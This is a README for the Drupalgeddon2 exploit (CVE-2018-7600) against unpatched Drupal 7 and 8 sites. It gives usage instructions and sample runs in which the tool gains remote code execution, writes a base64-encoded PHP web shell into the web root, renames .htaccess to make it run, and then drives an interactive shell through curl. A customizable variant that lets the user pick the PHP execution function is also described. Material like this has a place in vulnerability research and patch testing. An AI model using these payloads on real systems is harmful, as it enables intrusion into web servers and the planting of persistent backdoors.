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CVE-2018-7600 | Drupal < 7.58 / 8.x < 8.3.9 / 8.4.x < 8.4.6 / 8.5.x < 8.5.1 - 'Drupalgeddon2' RCE (SA-CORE-2018-002)

Drupalggedon2 ~ https://github.com/dreadlocked/Drupalgeddon2/ (https://www.drupal.org/sa-core-2018-002)

Supports:

  • Drupal < 8.3.9 / < 8.4.6 / < 8.5.1 ~ user/register URL, attacking account/mail & #post_render parameter, using PHP's passthru function
  • Drupal < 7.58 ~ user/password URL, attacking triggering_element_name form & #post_render parameter, using PHP's passthru function
  • Direct commands or Write a PHP shell to the web root (./) or sub-directories (./sites/default/ & ./sites/default/files/)
  • Windows & Linux support

The user/register method was chosen for Drupal v8.x, as it will return HTTP 200, and render the output in the data JSON response (un-comment the code for timezone/#lazy_builder method, which will return HTTP 500 & blind!) (More Information).

Authors:

Notes:

  • For advance users/setups there is a more customizable exploit. See the drupalgeddon2-customizable-beta section.
  • Before opening an issue, please, read the troubleshooting section at the end. Thanks!

Usage:

$ ruby drupalgeddon2.rb
Usage: ruby drupalggedon2.rb <target>
       ruby drupalgeddon2.rb https://example.com
$

Drupal v8.x Example

Drupal v8.x < v8.3.9 / v8.4.x < v8.4.6 / v8.5.x < v8.5.1

$ ./drupalgeddon2.rb http://localhost/drupal-8/
[*] --==[::#Drupalggedon2::]==--
--------------------------------------------------------------------------------
[i] Target : http://localhost/drupal-8/
--------------------------------------------------------------------------------
[!] MISSING: http://localhost/drupal-8/CHANGELOG.txt    (HTTP Response: 404)
[+] Found  : http://localhost/drupal-8/core/CHANGELOG.txt    (HTTP Response: 200)
[+] Drupal?: v8.x
--------------------------------------------------------------------------------
[*] Testing: Code Execution
[i] Payload: echo TTTBJJBP
[+] Result : TTTBJJBP
[+] Good News Everyone! Target seems to be exploitable (Code execution)! w00hooOO!
--------------------------------------------------------------------------------
[*] Testing: Writing To Web Root (./)
[i] Payload: echo PD9waHAgaWYoIGlzc2V0KCAkX1JFUVVFU1RbJ2MnXSApICkgeyBzeXN0ZW0oICRfUkVRVUVTVFsnYyddIC4gJyAyPiYxJyApOyB9 | base64 -d | tee s.php
[+] Result : <?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); }
[+] Very Good News Everyone! Wrote to the web root! Waayheeeey!!!
--------------------------------------------------------------------------------
[i] Fake shell:   curl 'http://localhost/drupal-8/s.php' -d 'c=hostname'
ubuntu140045x64-drupal>> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
ubuntu140045x64-drupal>>
ubuntu140045x64-drupal>> uname -a
Linux ubuntu140045x64-drupal 3.13.0-144-generic #193-Ubuntu SMP Thu Mar 15 17:03:53 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
ubuntu140045x64-drupal>>

Drupal v7.x Example

Drupal < v7.58

$ ./drupalgeddon2.rb http://localhost/drupal-7/
[*] --==[::#Drupalggedon2::]==--
--------------------------------------------------------------------------------
[i] Target : http://localhost/drupal-7/
--------------------------------------------------------------------------------
[+] Found  : http://localhost/drupal-7/CHANGELOG.txt    (HTTP Response: 200)
[+] Drupal!: v7.31
--------------------------------------------------------------------------------
[*] Testing: Code Execution
[i] Payload: echo TKYPVVJJ
[+] Result : TKYPVVJJ
[+] Good News Everyone! Target seems to be exploitable (Code execution)! w00hooOO!
--------------------------------------------------------------------------------
[*] Testing: Writing To Web Root (./)
[i] Payload: echo PD9waHAgaWYoIGlzc2V0KCAkX1JFUVVFU1RbJ2MnXSApICkgeyBzeXN0ZW0oICRfUkVRVUVTVFsnYyddIC4gJyAyPiYxJyApOyB9 | base64 -d | tee s.php
[+] Result : <?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); }
[+] Very Good News Everyone! Wrote to the web root! Waayheeeey!!!
--------------------------------------------------------------------------------
[i] Fake shell:   curl 'http://localhost/drupal-7/s.php' -d 'c=hostname'

ubuntu140045x64-drupal>> uptime
 14:52:33 up 4 days,  3:35,  1 user,  load average: 0.00, 0.01, 0.05
ubuntu140045x64-drupal>>
ubuntu140045x64-drupal>> whoami
www-data
ubuntu140045x64-drupal>>

Direct Commands / Non PHP Shell (aka File-Less Method)

If either you do not want to even try and write a PHP web shell to the web server, edit the file as shown (it will fall back if it can't find a writeable location anyway):

writeshell = false

Example

$ ./drupalgeddon2.rb http://localhost/drupal-nonwrite/
[*] --==[::#Drupalggedon2::]==--
--------------------------------------------------------------------------------
[i] Target : http://localhost/drupal-nonwrite/
--------------------------------------------------------------------------------
[!] MISSING: http://localhost/drupal-nonwrite/CHANGELOG.txt    (HTTP Response: 404)
[+] Found  : http://localhost/drupal-nonwrite/core/CHANGELOG.txt    (HTTP Response: 200)
[+] Drupal?: v8.x
--------------------------------------------------------------------------------
[*] Testing: Code Execution
[i] Payload: echo HYCBAIET
[+] Result : HYCBAIET
[+] Good News Everyone! Target seems to be exploitable (Code execution)! w00hooOO!
--------------------------------------------------------------------------------
[*] Testing: Writing To Web Root (./)
[i] Payload: echo PD9waHAgaWYoIGlzc2V0KCAkX1JFUVVFU1RbJ2MnXSApICkgeyBzeXN0ZW0oICRfUkVRVUVTVFsnYyddIC4gJyAyPiYxJyApOyB9 | base64 -d | tee s.php
[+] Result : <?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); }
[!] Target is NOT exploitable for some reason [2] (HTTP Response: 404)...    Might not have write access?
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
[*] Testing: Writing To Web Root (sites/default/)
[i] Payload: echo PD9waHAgaWYoIGlzc2V0KCAkX1JFUVVFU1RbJ2MnXSApICkgeyBzeXN0ZW0oICRfUkVRVUVTVFsnYyddIC4gJyAyPiYxJyApOyB9 | base64 -d | tee sites/default/s.php
[+] Result : <?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); }
[!] Target is NOT exploitable for some reason [2] (HTTP Response: 404)...    Might not have write access?
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
[*] Testing: Writing To Web Root (sites/default/files/)
[i] Moving : ./sites/default/files/.htaccess
[i] Payload: mv -f sites/default/files/.htaccess sites/default/files/.htaccess-bak; echo PD9waHAgaWYoIGlzc2V0KCAkX1JFUVVFU1RbJ2MnXSApICkgeyBzeXN0ZW0oICRfUkVRVUVTVFsnYyddIC4gJyAyPiYxJyApOyB9 | base64 -d | tee sites/default/files/s.php
[+] Result : <?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); }
[!] Target is NOT exploitable for some reason [1] (HTTP Response: 403)...    May not be able to execute PHP from here?
[!] FAILED: Couldn't find writeable web path
--------------------------------------------------------------------------------
[*] Dropping back direct commands
drupalgeddon2>> lsb_release -a
Distributor ID:	Ubuntu
Description:	Ubuntu 14.04.5 LTS
Release:	14.04
Codename:	trusty
drupalgeddon2>>

Proxy Support

For proxy support (e.g. Burp), edit the file, replacing with your values. Example:

proxy_addr = "192.168.0.130"
proxy_port = 8080

Experimental but usable: drupalgeddon2-customizable-beta

drupalgeddon2-customizable-beta is intended for more advance users as its more customizable. It allows you to specify some more parameters as the PHP method to use (not only system() or passthru()) and the way to reach user/password form.

Usage examples:

$ ruby drupalgeddon2-customizable-beta https://example.com 7 id passthru 0

1st parameter: Target URL
2nd parameter: Drupal version
3rd parameter: Command
4th parameter: PHP method to use (e.g. passthru, exec, system, assert...)
5th parameter: 0 for "/?q=user/password", 1 for "/user/password"

Troubleshooting:

  • Sometimes, websites may redirect to another path where Drupal exists (such as 30x responses). Solution: Make sure you are using the correct Drupal path.
  • Drupal v7.x - If /user/password form is disabled, maybe you should find another form, but remember to change the exploit. Solution: form_id parameter will change depending on the form used to exploit the vulnerability.

Links:

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